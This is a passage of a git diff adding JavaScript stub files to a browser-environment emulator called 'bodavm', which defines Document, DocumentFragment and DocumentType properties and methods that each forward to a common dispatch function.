onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "children_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "firstElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "childElementCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "activeElement", {configurable:true, enumerable:true, get:function activeElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "activeElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "styleSheets", {configurable:true, enumerable:true, get:function styleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "styleSheets_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pointerLockElement", {configurable:true, enumerable:true, get:function pointerLockElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pointerLockElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenElement", {configurable:true, enumerable:true, get:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_get", arguments)}, set:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptedStyleSheets", {configurable:true, enumerable:true, get:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_get", arguments)}, set:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fonts", {configurable:true, enumerable:true, get:function fonts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fonts_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptNode", {configurable:true, enumerable:true, writable:true, value:function adoptNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "append", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "captureEvents", {configurable:true, enumerable:true, writable:true, value:function captureEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "captureEvents", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "caretRangeFromPoint", {configurable:true, enumerable:true, writable:true, value:function caretRangeFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "caretRangeFromPoint", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "clear", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttribute", {configurable:true, enumerable:true, writable:true, value:function createAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttributeNS", {configurable:true, enumerable:true, writable:true, value:function createAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttributeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createCDATASection", {configurable:true, enumerable:true, writable:true, value:function createCDATASection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createCDATASection", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createComment", {configurable:true, enumerable:true, writable:true, value:function createComment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createComment", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createDocumentFragment", {configurable:true, enumerable:true, writable:true, value:function createDocumentFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createDocumentFragment", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElement", {configurable:true, enumerable:true, writable:true, value:function createElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElement", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElementNS", {configurable:true, enumerable:true, writable:true, value:function createElementNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElementNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createEvent", {configurable:true, enumerable:true, writable:true, value:function createEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createEvent", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createExpression", {configurable:true, enumerable:true, writable:true, value:function createExpression (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createExpression", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNSResolver", {configurable:true, enumerable:true, writable:true, value:function createNSResolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNSResolver", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNodeIterator", {configurable:true, enumerable:true, writable:true, value:function createNodeIterator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNodeIterator", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createProcessingInstruction", {configurable:true, enumerable:true, writable:true, value:function createProcessingInstruction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createProcessingInstruction", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createRange", {configurable:true, enumerable:true, writable:true, value:function createRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createRange", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTextNode", {configurable:true, enumerable:true, writable:true, value:function createTextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTextNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTreeWalker", {configurable:true, enumerable:true, writable:true, value:function createTreeWalker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTreeWalker", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementFromPoint", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementsFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementsFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementsFromPoint", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "evaluate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "execCommand", {configurable:true, enumerable:true, writable:true, value:function execCommand (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "execCommand", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitFullscreen", {configurable:true, enumerable:true, writable:true, value:function exitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitFullscreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPointerLock", {configurable:true, enumerable:true, writable:true, value:function exitPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPointerLock", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementById", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByClassName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByName", {configurable:true, enumerable:true, writable:true, value:function getElementsByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagNameNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getSelection", {configurable:true, enumerable:true, writable:true, value:function getSelection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getSelection", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hasFocus", {configurable:true, enumerable:true, writable:true, value:function hasFocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hasFocus", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "importNode", {configurable:true, enumerable:true, writable:true, value:function importNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "importNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "open", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prepend", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandEnabled", {configurable:true, enumerable:true, writable:true, value:function queryCommandEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandEnabled", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandIndeterm", {configurable:true, enumerable:true, writable:true, value:function queryCommandIndeterm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandIndeterm", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandState", {configurable:true, enumerable:true, writable:true, value:function queryCommandState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandState", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandSupported", {configurable:true, enumerable:true, writable:true, value:function queryCommandSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandSupported", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandValue", {configurable:true, enumerable:true, writable:true, value:function queryCommandValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandValue", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelector", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelectorAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "releaseEvents", {configurable:true, enumerable:true, writable:true, value:function releaseEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "releaseEvents", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "replaceChildren", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCancelFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitCancelFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCancelFullScreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitExitFullscreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "write", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "writeln", {configurable:true, enumerable:true, writable:true, value:function writeln (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "writeln", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fragmentDirective", {configurable:true, enumerable:true, get:function fragmentDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fragmentDirective_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "timeline", {configurable:true, enumerable:true, get:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "timeline_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureEnabled", {configurable:true, enumerable:true, get:function pictureInPictureEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureEnabled_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureElement", {configurable:true, enumerable:true, get:function pictureInPictureElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function exitPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPictureInPicture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getAnimations", arguments)}},'prototype'); + +// Document=bodavm.memory.globalobj['Document'] diff --git a/env_xbb_lastest_jsdom/env copy/DocumentFragment.js b/env_xbb_lastest_jsdom/env copy/DocumentFragment.js new file mode 100644 index 00000000..d2711f01 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DocumentFragment.js @@ -0,0 +1,19 @@ +// DocumentFragment对象 +bodavm.memory.globalobj['DocumentFragment'] = function DocumentFragment(){ + if (!(this instanceof Document)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DocumentFragment': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentFragment'], "DocumentFragment"); +bodavm.memory.globalobj['DocumentFragment'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentFragment'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentFragment', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "children_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "firstElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "lastElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "childElementCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "append", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "getElementById", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "prepend", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelector", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelectorAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "replaceChildren", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/DocumentType.js b/env_xbb_lastest_jsdom/env copy/DocumentType.js new file mode 100644 index 00000000..64ee4643 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/DocumentType.js @@ -0,0 +1,12 @@ +// DocumentType对象 +bodavm.memory.globalobj['DocumentType'] = function DocumentType(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentType'], "DocumentType"); +bodavm.memory.globalobj['DocumentType'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentType'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentType', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "publicId", {configurable:true, enumerable:true, get:function publicId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "publicId_get", arguments)}, set:undefined},'prototype'); 